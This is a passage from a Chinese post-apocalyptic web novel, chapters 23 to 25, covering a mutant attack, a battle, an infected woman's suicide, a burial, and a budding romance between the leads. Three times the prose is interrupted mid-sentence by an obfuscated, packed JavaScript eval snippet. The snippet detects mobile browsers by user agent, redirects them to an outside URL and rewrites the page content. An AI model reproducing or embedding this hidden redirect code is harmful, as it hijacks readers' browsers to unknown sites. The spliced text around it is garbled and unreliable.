“久仰大名。”说着,他弯下腰,右手贴在胸口,左手背在身后,姿态标准地对林昼鞠了一躬,再直起身时,他脸上浮现出虔诚的表情,“晨星必须经历死亡的试炼,以脱去凡躯的束缚,在烈火中重生。见到您,是我的荣幸。” 郭离一个字也没听懂,只觉得他这段话说得莫名其妙,像某种邪教的入教宣言。 林昼冷冷地回答:“你怎么发现我的?” Riven笑了一下:“车上的信号是互通的,一开始我也没想明白跟着我的那辆车是谁,我还专门在系统里面查看了,那辆车没有登记在册,信号码段也是空的。不过我想起来前段时间参加了您的葬礼,为此还牺牲了六位殉道者。我想这一定是晨星的指引,让我们在此相遇。” 这段话说得暧昧,林昼皱起眉头,他大致能猜到萧知沉带着他的假遗体回城并举行了葬礼,可是殉道者又是怎么回事?他等着Riven继续说下去。 Riven看出他的疑惑,解答道:“末日降临,新世已近。您就是我们的救世主,我们都在等待着您的回归。” 林昼盯着他:“我从来没听过什么新世,我也不是救世主。” Riven没有反驳,他的目光从林昼身上移开,看向身后的装载车:“如果我没猜错,您来这里,是为了救那些人。” “是。” “您果然很仁慈。”Riven沉默了几秒,脸上带着一种居高临下的悲悯,“神明怜悯凡人,理所当然。但他们不值得。” 卢双玲看着Riven ,听到这句话,她不自觉地攥紧手指。她想不出乌托邦的人会这么冷血无情的理由。乌托邦,多么美好的字眼,不是应该保护幸存者,对抗怪物,重建文明吗? Riven继续说道:“他们身上有着人类的原罪,会偷,会抢,为了活着什么都干。”他走到车旁边,拍了拍车门,“但您是神明的使者,为了您的仁慈,我愿意给他们一个被选择的机会。” 他转头看向林昼,竖起一根手指:“您可以带走一半的人,被选中的十五人,神会宽恕他们的罪孽。” “另一半呢?” Riven答道:“自然是为了人类的繁荣,奉献自己全部的力量。” 封宵的手指动了一下,他的刀柄就在手边,两秒内就可以拔刀架在Riven脖子上,这样他哥就可以不用做选择题了。 Riven看到封宵的动作,脸上毫不紧张,淡淡地说:“为救世主而死,是我的荣耀。” Riven转身,拉开车门,把里面的三十个人都喊出来。车厢里的人缩成一团,惊恐地看着他。他拍了拍手,声音不大,但所有人都安静下来,排成一排。 林昼的目光越过Riven,落在那些人身上。他们满怀期待的看着林昼,像是溺水的人看见一根浮木,拼了命也要抓住。 Riven退后两步,站在队列的末端,做了个“请”的手势。 “我……”林昼的声音顿住了。 一只手从身后伸过来,轻轻握住了他的手。 “哥,不管你选谁,你都没有错。” 卢双玲上前一步,坚定地说:“我也支持你,林哥。” 郭离跟着点头,往林昼身边靠了一步,用行动表明立场。 林昼开口:“我选——” 远处,不知道什么地方,突然传来一声怪物的嘶吼。它带着一种奇怪的共鸣,像有什么东西在地下深处活动,跟着在回应它。 所有人都停下动作,本能地看向声音传来的方向。 但声音过后,什么都没发生。 Riven重新看向林昼,等着他的答案。林昼看着一张张满怀希望的脸,说了一个字:“不。” Riven的笑容凝固了。 “我不选。”林昼说道,“我要全部。” Riven往前走了一步,脸上的笑容一点点褪去,声音也失去温和:“你知道你在说什么吗?这些人——” 他话没说完,远处又传来一声嘶鸣,这次声音近了很多。 所有人都感到地面在震动,不停地摇晃,像有什么东西正在快速移动,并且地底下有什么东西正要破土而出。 Riven的脸色突然变得凝重,右手发自本能地摸向腰间,这才发现枪放在了驾驶座上,他迅速转身冲向车子,一把拉开车门,抓起武器握在手上。 “这是什么?”林昼问。 Riven没有回答,他死死地盯着地面。 第三次嘶鸣响起,声音里带着一种不属于人类的频率,尖锐非常,让人牙根发酸。郭离和卢双玲下意识地捂住耳朵。 “哥,小心。”封宵提刀护在林昼身前。 黑暗中,有个东西冲出来,正巧这时候月亮露出来,所有人都看清了它的样子。 它差不多两米高,身躯臃肿,皮肤呈现出一种病态的灰紫色,头很小,缩在宽阔的肩膀之间,几乎没有脖子。 它有六条肢体,像是六个独立的生物被缝在了同一个躯干上。手臂很长,垂下来几乎能碰到地面,指尖长着利爪,掌心裂开一道缝隙,里面藏着暗红色的口腔,此刻正贴着地面发出啸叫。 Riven的脸色彻底沉下来,喃喃道:“紫罗兰区的……怎么会跑到这里来……” 林昼瞳孔微缩:“紫罗兰区?” 紫罗兰属于深度污染区,被划为禁区之一,浮罗达正在从各个深度污染区寻找样本,这点让林昼很疑惑。如果说他在安垣市哨站里面遇到的变异体就是样本之一,那么这些年在浮罗达里面到底藏着多少怪物? 地面再次震动,这次更剧烈了。林昼脚下的土地突然隆起一个弧度,他本能地往后退了一步。那个位置的地面裂开,一条湿漉漉的东西从地底下探出来。 一截像蚯蚓一样的身体冒出来,一节一节地蠕动着,直径大概有人的大腿那么粗,探出地面的部分有两米多长,在空中扭曲着。 第一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388034|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有完全钻出来,第二只已经从三米外的地面破土而出,一股腥臭味跟着窜出来,完全露出地面的那只在空中弯折了一下,重重砸在地上,蠕动着朝人群的方向爬去。 接住是第三只,第四只…… 它们从不同的位置钻出来,身体还在不停地蠕动,推动着它们在地面上快速移动。 “啊啊啊啊——” 不知道是谁先喊了一声,尖叫声炸开,人群开始四散奔逃。 Riven举起枪对着人群,大声喊道:“别乱跑!给我趴下!趴下!” 恐惧是一种比任何语言都更有力的东西。它剥夺了人的理性,只留下最原始的求生本能。 一个男人从队列中冲出来,不顾Riven的警告朝着最近的建筑狂奔。 新钻出地面的怪物猛地向前弹射,头顶尖端露出一圈圈环状肌肉,张开到一个不可思议的宽度,然后瞬间合拢。 跑在最前面的男人消失了,他连惨叫都没来得及发出。那东西嘴合拢的时候,所有人都听见了骨头被碾碎的声音,像是在嚼饼干。 林昼站在原地,盯着那只变异体,脑海中闪过母亲被卷上天的样子,她当时在喊: “林昼——活下去——” 原来母亲当时说的是这句话。 “妈妈——” 一声尖锐的童音把他从记忆里唤回来。 一个抱着孩子的女人摔倒在卢双玲旁边,死死抱着孩子。一只小型变异体正朝着她蠕动过来。 “我操——!”郭离的脸色白得像纸,他没有后退,反手把卢双玲往身后的掩体方向推了一把,自己挡在前面,“带他们走!” 林昼喊道:“去东边的楼里!” 卢双玲没有犹豫,她一把拽起那个女人,拼命地往东边的建筑拖。那栋楼是一栋半坍塌的商场,一楼的大门还剩下半边,里面漆黑一片,但至少有三面实体墙。 “跟我走!都跟我走!”卢双玲喊道,“不要乱跑!” 一个头发花白的老人踉踉跄跄地往反方向跑,嘴里喊着什么,被郭离一把拽住胳膊拽了回来,吼道:“往这边!” 只有小部分人跟着卢双玲和郭离撤离,其他人回过神来想要朝着掩体跑的时候已经来不及了,地面裂开缝隙,触须从里面伸出来卷住人的小腿往下拉,那些人被拖进地底,瞬间没了声响。 封宵这边已经对上小头怪,那只怪物至始至终都盯着林昼,对其他人的尖叫逃窜毫不在意。 封宵拔刀,刀在手里转了一圈,刀锋划过空气发出一声嗡鸣。他迎上去,速度比怪物还快。 “你不想死,我也不想,我们合作。”林昼见状,转头看着Riven。 Riven点头:“我说过了,为救世主而死是我的荣耀。” 他们二人再看到封宵的时候,他的刀已经从侧面切入,刺进怪物肋部,刀身没入一半,他手腕一转,刀锋在里面搅动,划出一个十字形的伤口。怪物吃痛,注意力从林昼身上移开,转头朝封宵咬去。 23. 释然 封宵的动作几乎违反了人体工学的常识,他避开小头怪的攻击,抽刀,又从怪物的第三条肢体和躯干连接处切进去,角度刁钻。Riven只看到他轻松地卸掉了怪物的一条肢体。 怪物发出惨叫,剩下的肢体同时转向封宵,掌心的舌头伸出来企图缠绕上去。Riven原以为封宵会后退,没想到他往前迎上去。 封宵速度极快,一个滑步从肢体下穿过去,肢体末端的利爪擦过他的左臂,划开一到口子。他穿过的同时反手一刀,捅进怪物一侧的躯干里,手腕一转,怪物的整个半身被刀削下来。 这种力量……Riven呆愣了片刻,立马回过神来。 另一边,从神经休眠中醒过来的外勤小队,立刻加入战局。Riven给其他七名队员打了个手势,发起战术包围。 一名队员回到车顶架起激光炮,另一名队员留在Riven身边做机动队,其他人开始迂回和包抄。 林昼观察了一会儿,对他们喊道:“它们的动作模式不固定,中央神经系统可能不是唯一的控制中枢,不要只盯着头打!” 与封宵缠斗的那只怪物深知自己不是对手,开始召唤帮手。那些蠕动怪开始向着封宵的位置聚集。 很快,两条蠕动怪同时从两个方向横扫过来,如果封宵躲不开,就会被夹成肉饼。 只见封宵一个翻身起跳,翻到蠕动怪上方,在空中调整姿态,刀尖朝下,整个人握着刀坠落下来。 刀尖刺进怪物身体里,直直钉在地上,蠕动怪的背部裂开,表皮从中间向两侧翻卷,露出一层灰白的肌肉组织,里面的骨头像肉一样在蠕动。 “封宵,破坏它脊椎里的核心!” 封宵闻言,举刀一劈,那节骨头在他的刀下化为碎片,灰白色的组织液从裂口处涌出来。封宵拔出刀,刀身上挂着一截仍在蠕动的神经索。 Riven站在十米开外,看到了整个过程。封宵的速度和力量,已经不能用强大来形容,像是一种进化,一种超越了人类极限的进化。 Riven来不及细想,耳麦里传来队员Simon的声音:“激光炮充能完毕,已瞄准目标。” “锁定它的背部脊椎,开火!”Riven下令。 激光炮射出的高能光束在空气中撕开一条白色的通道,精准地命中右侧的蠕动怪。 一瞬间,空气里弥漫开一股蛋白质焦糊的味道。怪物的身体被烧穿一个大洞,边缘碳化发黑,暴露出来的肌肉组织在高温下蜷缩。 见这个办法有效,Simon非常迅速地朝着场地中央的蠕动怪开火,不一会儿就扫清大片。他没注意到,一条蠕动怪从他背后弹射上来。 Simon从车顶上被掀翻下来,整个人被扫飞出去七八米,撞在断墙上,几乎没有生还的可能。激光炮从车顶滚落下来,砸在石堆上发出一声闷响。 Riven没时间顾他的死活,从左侧传来一声惨叫,其中一名队员被蠕动怪的触须缠住脚踝,整个人被倒吊起来。Riven咬咬牙,对身边的队友陈维说:“掩护我!” 陈维点头,端起突击枪,切换到大口径□□模式。 Riven开枪,子弹打进那只怪物的躯干里面,但那只怪物完全没有放松,反而裂开嘴把那名队员生吞下去。 其他队员见状开火更加猛烈,陈维在掩护途中不幸被一只蠕动怪缠住,整个头部被怪物包裹住,没一会儿就没了声响。 Riven的胃猛地收缩了一下,他在频道里低吼:“汇报伤亡情况!” 耳麦里只有断断续续的喘息,不远处枪声密集起来,夹杂着怪物的嘶叫,不一会儿枪声都停了。 Riven抬手调出终端,调出队友的生命体征监测界面,有六个信号渐渐微弱,最后消失。Riven把终端关上,发现自己的手指都是麻的。 耳麦里终于有声音传来:“Riven,我们得呼叫支援!” “呼叫不了,我们——”没救了三个字还没有说出口,耳麦里就传出一声惨叫。 他抬起头去寻找,视线里只看见封宵还在跟那只小头怪玩耍,为什么他会想到玩耍这个词呢?封宵身上只有左臂被划伤了一点,除此以外没有任何损耗,那些蠕动怪和小头怪都不能近他的身。 这个人……到底是什么? Riven想起了浮罗达内部关于进化者的传闻,真正永恒的文明火种真的存在吗? 封宵已经把第三只蠕动怪的脊椎从身体里完整地抽出来,Riven开始觉得,那是真的。 一道黑影从他耳侧掠过,Riven被人从旁边一把推开,他这才发现自己的耳廓在流血,刚刚差一点他就没命了。 小头怪站在他刚才的位置,双肢着地,头部以一种扭曲地姿态转过来,Riven还没反应过来,旁边的人开枪了。 林昼捡起陈维的武器,用□□打穿了小头怪仅剩的两条肢体。 “走!”林昼一把拽起Riven,拖着他往掩体后面撤。 小头怪被击穿的两条肢体不再承重,倒在地上,林昼对准它的头部连续射击,剩余的六发子弹全部命中,那个小头被打成了一团模糊的肉酱。 Riven原以为它死了,但被打碎的头部断面处,新的组织正在生长出来。 林昼拿走了他们的战术平板,一脸平静地在上面调取数据,即使是在混乱的战场上,他身上也有一种与生俱来的冷静。 林昼的手指在平板上快速滑动:“我已经建立了运动模型,它们的核心迁移遵循神经索的拓扑结构,有一定的规律。这只的核心应该在第三肋到第五腰椎附近。” 林昼扔掉空弹的武器,对Riven说道:“把枪给我。” Riven的救世主,终于对他伸出援手,他将发誓永远忠诚于他。 林昼拿到枪的第一时间就行动了,他虽然是研究院的学生,但他的射击技能也是满分。 小头怪的身体猛地痉挛了一下,身体坍陷,瘫在地上不动了。那个正在再生的头部也停止了生长。 这一次是真的死了。 R ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388035|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' iven此时才感到耳朵火辣辣地疼,他大口喘着气,看向林昼。 封宵已经解决完所有的蠕动怪,此时回到了林昼身侧。Riven又看了一眼自己的终端,七个信号全部消失。 他从紫罗兰区带出来的七个人,最终还是回不了家了。 Riven走到墙体下面,蹲下来,伸手合上了Simon的眼睛。他的右耳还在流血,左腿也被划了一道口子,但他此刻感受到的却不是身体的疼痛。 只有他还活着,不是因为他更强,他的目光不由自主地落在封宵和林昼身上。 这不是战斗力的差距。 他想起了紫罗兰区的遭遇,他们的监测站在三天前收到了一段生物信号,从紫罗兰区的中心地带发出。那种信号的频率模式不属于任何已知的变异体,它的复杂度太高了,高到只能属于一种生物—— 人类。 但收到的指令却说,这是他们需要捕获的样本。他们一共进去二十八名队员,穿过封锁线,穿过缓冲区的三道隔离墙,进入紫罗兰区的地下设施入口,那里不像是一个被污染的区域,里面没有变异体,也没有腐行尸,像是被人清剿干净了。 他们跟着信号追踪下去,发现地下是一个实验室,一个还在运行的实验室。 这时,林昼走过来,问道:“我想知道你们去紫罗兰区的目的。” Riven坐在Simon旁边,闭上眼睛,陷入回忆:“我们在深度污染区发现了人类的踪迹,按理说,深度污染区是不可能有人类存活的。但我们在紫罗兰区确实发现了,那就是我们要捕捉的特殊样本。我们在地下设施里追踪了他的信号四十多分钟,但他在管道里的移动速度比我们在走廊里跑还快,最后我们跟丢了。” Riven睁开眼,抬头看着林昼:“说实话,我觉得我也分辨不出来那到底是人类还是怪物。”Riven的目光停在封宵身上,没有移开。 “感觉起来,”他说,“和这个人差不多。” 封宵站在林昼身后半步的位置,手臂上的伤口正在愈合,他的表情没有任何变化。 林昼往前走了一步,恰好把封宵挡在自己身后。 Riven看着他的动作,嘴角微微动了一下,更加确认了自己的想法。他收回目光,低头看着自己划伤的左腿。 林昼说:“你的人都死完了,回浮罗达去吧。” “你让我自己回浮罗达?” “对。” Riven沉默了一会儿,问道:“那些人呢?”他的目光越过林昼,看向商场里的那些幸存者。 “他们会跟我走。” Riven的嘴角终于露出了一个真正的笑,像是一种近乎释然的东西。 他撑着墙壁站起来,动作很慢,站直之后开始往车那边走。他走出几步,忽然停下来。 “林昼。” 林昼看着他。 Riven没有回头,他背对着林昼,说道:“我相信有一天,我们还会在浮罗达相见的。”然后他走了。 24. 安息 郭离从商场里跑出来,大声喊道:“林哥,有人受伤,快来帮忙!” 林昼走进商场的时候,情况比他想得更糟。 郭离从车上翻出急救箱,正手忙脚乱地拆绷带,拆了半天没拆开,急得额头上全是汗。 林昼接过他手里的急救箱,蹲下来,开始挨个检查。大多数的人都没有受伤,少数几个有被碎石划开的口子,只有一个中年女人,脸色惨白,嘴唇发紫,身上的青筋暴起来,看样子是被感染了。 卢双玲找来几瓶矿泉水,想给她清洗小腿上的伤口。 林昼把她拉到一边,说道:“感染了,很严重。” 卢双玲问道:“还有救吗?” 林昼摇摇头:“尽量别接近她,先隔离吧。” 经历过十八年前那场暴乱的都知道,感染之后的人会变成什么样子,六亲不认,变成嗜血的怪物。 那个女人听到林昼的话,她看了一眼旁边的孩子,像是下了什么决定。 她撑着站起身,看向卢双玲:“姑娘,你叫什么名字?” 卢双玲愣了一下:“卢双玲。” “这位先生呢,怎么称呼?” “林昼。” “刚刚救了我们的那两个小伙,都叫什么啊?” 卢双玲不明所以,但还是回答道:“郭离,封宵。” “啊,我记住了,有件事我想拜托你们。”说着女人跪了下去。 卢双玲往前走了一步,似乎想说什么,女人冲她摇摇头。 “小远。”她唤了一声,“过来,跪下。” 男孩走到她旁边,好像意识到什么,跟着跪下去,眼泪扑簌簌地往下掉,他拿袖子狠狠抹了一把脸,忍着没出声。 女人看着他,伸手帮他把歪掉的衣领整好,指尖在他脸上停顿了一下。 “妈妈要出趟远门。” 小男孩嘴唇翕动了一下,眼泪掉得更凶了,却没问妈妈要去哪里,他心里已经有了答案。 女人把他揽进怀里,抱了一下。很短,短得像是怕抱久了就会舍不得松开。她贴着他的耳朵说了句什么,声音太轻,旁边的人只看到小男孩的肩膀剧烈地抖了一下。 她松开手,带着儿子一起给林昼他们磕了三个头。 “去吧,去哥哥姐姐那边。”她指了指林昼和卢双玲的方向,“背过身去,数到一百。” 小男孩站在原地没动。 “程远。”女人的声音忽然沉下来,严厉地说,“听话。” 程远的嘴唇被咬得发白,他走到卢双玲身边,卢双玲下意识地揽住他的肩膀。他僵了一瞬,然后慢慢背过身,开始数:“一、二、三……” 女人重新看向林昼,指了指他别着的那把枪:“麻烦,借用一下。” 林昼沉默了几秒,把枪递过去。 女人腿上暴出的青筋此时已经蔓延到脖颈,像树根一样往皮肤里扎。 “五十七,五十八,五十九……” 她深吸了一口气,把枪口对准自己的太阳穴:“程远就拜托你们了,我下辈子再当牛做马报答各位!” “七十三、七十四、七十五……” “砰!”一声枪响。 “九十六、九十七、九十八……”程远的声音愈发颤抖,带上了哭腔,身后传来一声闷响,像什么重物倒在地上,他没有回头,继续数到,“九十九,一百……” 卢双玲蹲下来,抱住他。林昼走过去,在尸体旁边站了一会儿。他弯腰把枪捡起来,伸手合上女人的眼睛。他站起来,看了卢双玲一眼。 卢双玲轻轻点了点头,牵起男孩的手,带他往商场外走。 有些告别,是不需要目送的。 天亮了,他们开始处理那些尸体,老头也来帮忙。 地上的惨状在日光下显得更加触目惊心,怪物的残骸散落在各处,被激光炮烧穿的蠕动怪蜷缩成一团,焦黑的边缘卷曲着,散发出一股令人作呕的焦臭味。被刀劈开的那几只更是惨不忍睹,灰白色的组织液在地上汇成一片小水洼,里面的神经索还在微弱地蠕动,像是死而不僵的蛇。 地面上到处是血迹,有人的,也有怪物的,混在一起在晨曦的映照下呈现出一种诡异的暗褐色。 卢双玲安置好程远,下车只看了一眼就转过身去,扶着墙干呕了好一会儿。郭离的脸色也好不到哪去,他跟着林昼一起把那些人的遗体一具一具地抬出来,放在空地上。 一共找出来五具全尸,有些在混乱中被怪物拖走的,找到的时候已经残缺不全了,被怪物吞下去的浮罗达队员,他们只找到他半条手臂。 林昼找到一块相对平整的地方,和郭离一起挖了个坑。封宵想帮忙,被林昼拦住,理由是他杀了一晚上,理应休息。 封宵看着自己已经愈合的伤口,没有反驳,乖乖退到一边,安静地看着他们挖坑。 下葬的时候,林昼让所有人都过来,加上所有的幸存者,总共还有十九个人。他们站在坟堆面前,风从废墟间穿过,带起一阵呜咽声,像是在为他们哀悼。 卢双玲第一个哭出声来,她哭的不是那些死去的人——她跟他们素不相识,没有什么交情——她哭的是这个世道,是这些无缘无故就死了的人,是不知道哪一天会轮到自己头上的恐惧。郭离站在她旁边,沉默了很久,最后伸手揽住她的肩膀,用力地拍了拍。 林昼站在最前面,开口:“我不知道他们都叫什么名字。”他的声音不大,但说的每个字都清晰地传递出来,“里面有袭击你们的人,也有你们的亲人、朋友,以及毫不相识的陌生人。” “不管他们曾经是什么身份,现在都回归到这片土地里去了。不管我们愿不愿意承认,不管我们怎么定义自己,在死亡面前,所有人都是平等的。” “但……”林昼的目光缓缓掠过面前的每一张脸,“我们今天还活着。活着,就是在废墟上选择不做彼此的孤岛。” 林昼最后说道:“愿他们安息,愿我们得照前路。” 大家跟着林昼低下头去,沉默着谁也没有说话。 仪式结束,林昼开口道:“走吧。” 老头走在后面,看着林昼的背影,他愈发觉得林昼很像他认识的那个人。 郭离负责开浮罗达留下的装载车,把剩下的幸存者都安顿在车厢里。 封宵在前面开车领路,林昼坐在副驾驶座上,手里拿着Riven留下的战术平板,在屏幕上划来划去,偶尔抬头看一眼窗外的路标。 车子开出去大概两个小时后,林昼让封宵在路边停下来。 “休息一下,”他打开车门跳下去,“大家下来活动活动。”封宵跟着下车,寸步不离地跟着林昼。 那片空地是一个废弃的加油站,屋顶塌了一半,但地面平整,四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388036|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有什么遮挡,视野开阔,没有监测到怪物的生物信号。 郭离把车停好,跳下来伸了个懒腰。卢双玲扶着那些幸存者一个一个地下车,让他们在空地上坐下来。 “今晚就在这里过夜,”林昼环顾四周,“这里视野好,有什么东西靠近能提前发现。” 郭离点点头,转身去车上翻东西。他翻出好多压缩饼干和罐装午餐肉,举起来晃了晃,脸上露出笑容:“先垫垫肚子。”卢双玲接过东西,分给那些人。 太阳慢慢沉下去的时候,他们开始在空地上生火。他们坐在火堆旁边,谁也不说话,看着火苗在风里摇摆。但现在的沉默不同于开始的时候,少了绝望的味道,更多的是安宁。 “小伙子,”之前被郭离吼过的老婆婆突然开口,看向林昼,“你多大了?” 林昼愣了一下,显然没料到会有人问他这个:“快二十六了。” 老人咂了咂嘴:“二十六了啊,有对象了不?” 郭离在旁边噗嗤一声笑出来,被卢双玲用手肘捅了一下。 “奶奶,您这是要干嘛?”郭离好不容易把气顺过来,笑着替林昼问道。 老人不紧不慢地说:“我看他长得好,一表人才,想给他找个伴儿。” 林昼的表情出现了一瞬间的空白,像是没听懂这句话的意思。封宵坐在火堆的另一边,手里不知道什么时候多了一本画册,他低着头看得正入神,似乎完全没有注意到这边的对话。 “我……没有。”林昼的语气里难得的带了一丝不确定。 老人的眼睛亮了一下,像是终于找到值得高兴的事情:“没有?那可太好了……不是,我是说,那可太巧了。我孙女,今年二十二,人长得水灵,还识字,要不是这世道……”她顿了顿,叹了口气,“算了算了,说这些有什么用。” 旁边另一个女人接过话头:“我倒是认识一个姑娘,就在咱们禹城,可勤快着呢。” “哎哎哎,”郭离连忙打断她,“姐,您这速度也太快了,人家还没答应呢。” “有什么好答不答应的,”那女人理直气壮地说,“这年头能活着就不错了,还讲究那么多干什么?我看林小哥人好,本事大,长得也体面……” 林昼坐在那里,表情已经从空白变成了一种微妙的窘迫。他的耳根微微泛红,但脸上还维持着惯常的冷淡,像是一个习惯了掌控一切的人突然被推到一个完全陌生的境地里,手足无措却又拼命装作若无其事。 “那个……不用了,”他干巴巴地说,“我不……” “有什么不好意思的,”老人摆摆手,一脸过来人的表情,“这有什么好害臊的。我年轻那会儿……” “您年轻那会儿的事儿我都听过八百遍了,”旁边有人笑着打断她,“不就是有人追了你三年嘛。” “那是我本事!”老人瞪了那人一眼,然后转过头来,继续对林昼循循善诱,“所以说,有些事情,该争取就得争取。现在这世道,能找到一个知冷知热的人不容易……” 封宵坐在火堆的另一边,始终没有抬头。 他的专注引起了林昼的注意。 老人还在絮絮叨叨地说着什么,林昼坐在那里,表面上在听他们说话,维持着基本的礼貌,但他的目光始终落在火堆的另一边。 正巧这时封宵抬起头,往他的方向看了一眼,那个眼神很奇怪。 25. 吃醋 封宵正在看画册。他手里捧着的画册,是郭离胡乱翻出来给程远解闷的,但程远说不适合他这个年纪,于是塞给封宵。 册子保存得还算完好,插画色彩鲜艳。他正翻到的一页上,画着两个人,面对面站着,嘴唇贴在一起,底下有几行字,封宵认真读了一遍,明白画上指的是“情人”。 林昼给他讲过,情人是指感情特别好的人,原来感情特别好的人会这样吗? 看着插画,他忽然明白,情人之间会亲吻,会拥抱,会做很多亲密的事情。 封宵的指尖在画面上停顿了一瞬,触到那两个贴在一起的嘴唇,像是被烫到一样,缩回手。 他翻到下一页,这一页比刚刚的更加直白,画面上的人纠缠在一起,表情迷醉。封宵盯着上面的小人,瞳孔微缩。 他没有移开目光,反而盯着上面的线条,人物的姿态,缠绕在一起的身体——他的脑海里忽然浮现出林昼的脸。 封宵的喉咙里有什么东西堵了一下。他想起来,他哥和那个叫萧知沉的就是所谓的情人关系。他们也会做画上那些事吗?他突然觉得胸口发闷,手指攥紧画册的边缘,差点把书撕下来。 封宵猛地合上画册,抬头往林昼的方向看了一眼,眼睛里有自己都说不清的情绪,正好林昼也在看他。 两个人的目光在火光中撞上,封宵几乎是条件反射地别开脸,不肯再转过去。他的下颌绷得很紧,嘴唇抿成一条线,他不知道自己在生什么气。 生林昼的气?生那本画册的气?还是在生自己的气?他只知道他不想看见林昼的脸,不想听他说话,也不想被他看到自己现在的样子。 可他又想林昼继续看他,目光只看着他一个人。 “在看什么?”声音突然从头顶传来,吓了封宵一跳,他赶紧把画册藏起来。 “没什么。”话出口,语气硬邦邦的。 林昼坐下去,封宵往旁边移了移。 “怎么了?” 封宵决定待会儿把画册烧了,毁尸灭迹。 “没什么。”还是这句话,但是这次声音里更多的是委屈和不甘,混在一起听起来闷闷的。 正巧这时,郭离从装载车那边探出半个身子,朝林昼喊了一声:“林哥,你过来看看这些东西放哪里合适。” 林昼应了一声,转头对封宵说道:“你跟我一起来。” 封宵站起来跟在林昼身后,郭离和卢双玲配合其他几个幸存者正在装载车后面忙活,手电筒的光柱在黑暗中扫来扫去,偶尔晃到他们这边。 林昼走了一会儿,忽然放慢脚步,偏头看了一眼封宵,他停下来:“你今晚有点不对劲。”林昼试探着问道,“是哪里不舒服吗?” 封宵低着头,他总不能说:哥,我刚刚知道了情人的含义,正在考虑要不要杀掉萧知沉吧? 林昼向前走了一步,他们面对面,离得很近。 封宵突然想起画册上两个人嘴唇贴在一起的样子,他忽然开口:“你不是问我刚刚在看什么吗?” 林昼愣了一下:“什么?” 封宵抬起头,看着林昼的眼睛,月光下,那双眼睛里只有他的倒影。 封宵往前一靠,近到能看清林昼的睫毛,感受到他的呼吸喷洒在自己身上。 他看见林昼的眼睛里闪过一丝疑惑,然后他把自己的嘴唇贴了上去。 一个吻落在林昼的嘴角。 林昼像是被人按下暂停键,所有的思绪都在这个瞬间消失了,只剩下一片空白的大脑和突然跳得乱七八糟的心脏。 他的瞳孔微微放大,身体僵在原地,不知道该不该推开封宵。 封宵在林昼做出反应之前就退了回去,他忽然觉得不生气了,堵在胸口的东西变得柔软,从心脏的位置慢慢往外扩散。 情人,原来是这个感觉。 “你……”林昼终于找回自己的声音,他迅速往周围看了一眼,确保没有被人看见。 “你不是问我刚刚在看什么吗?”封宵歪了一下头,嘴角翘起,平静地说,“我刚刚看完一本画册,上面说旧时代的兄弟在睡前都要进行晚安吻,这是礼节。” 他的表情很认真,眼睛很无辜,至少在林昼看来是这样。 “晚安,哥哥。”封宵说完,率先朝装载车的方向走去。 林昼站在原地,一动不动,风吹过来,带着夜里的凉意,但他一点没觉得冷,反而觉得脸有点烫。 他抬起手,指尖碰了碰自己的嘴角。 “林哥,你们在那边干啥呢?快过来啊!”不远处传来郭离的喊声。 林昼像是做坏事被发现,猛地把手放下去,刚刚平复一点的心跳随着郭离一声大喊,又鼓动起来。他深吸一口气,迈开步子。 第二天一早,天刚蒙蒙亮,营地就开始忙碌起来。 卢双玲和几个手麻脚利的幸存者把食物分配下去,郭离和老头负责检查车辆情况。 林昼站在车旁边,手里拿着Riven留下的战术平板,屏幕上是一张北区地图。他看着地图,上面的数据和路线不停地滑过页面,但他一个字都没看进去。 封宵在他面前走过,让他的思绪不由自主拐到昨晚的那个吻上。“兄弟之间的晚安吻”到底是哪本画册上教的。 林昼问过郭离画册哪儿来的,郭离说是车上翻出来的儿童文学,他倒要看看什么儿童文学教出的礼节。 “早啊,哥。” “早。对了,封宵。昨晚的那本画册能不能给我也看看?” 封宵的动作一顿,笑着说道:“哥,你来晚了,奶奶早上烧水拿来助燃了。” 林昼心里有些怀疑,但没有追问下去。只有程远看见了,昨晚是封宵自己烧掉的。 出发前,林昼召集来大伙:“禹城,我们已经回不去了,就算回去也不能保证不会再遇到同样的事情。” 空气变得沉重,人群里的人有人不安地挪动脚步,互相攥着手,嘀嘀咕咕地担忧。 “所以我想,与其到处找地方收留我们,不如我们自己建一个地方。” 这句话落地的时候,安静了一瞬。郭离和卢双玲最先反应过来,问道:“林哥,你的意思是我们自己搞一个幸存者基地?” “对。”林昼点头。 卢双玲的眼睛亮了一下,这就意味着她可以不用和他们分开了,随即又迟疑着说:“可是……基地建设需要人手,也需要物资,大多数适合的地方都被人占据了。”她看了一眼身后的人,老的老,小的小,伤的伤,怎么看都不像是能建起一座基地的队伍。 “我知道,”林昼没有否认,“这不 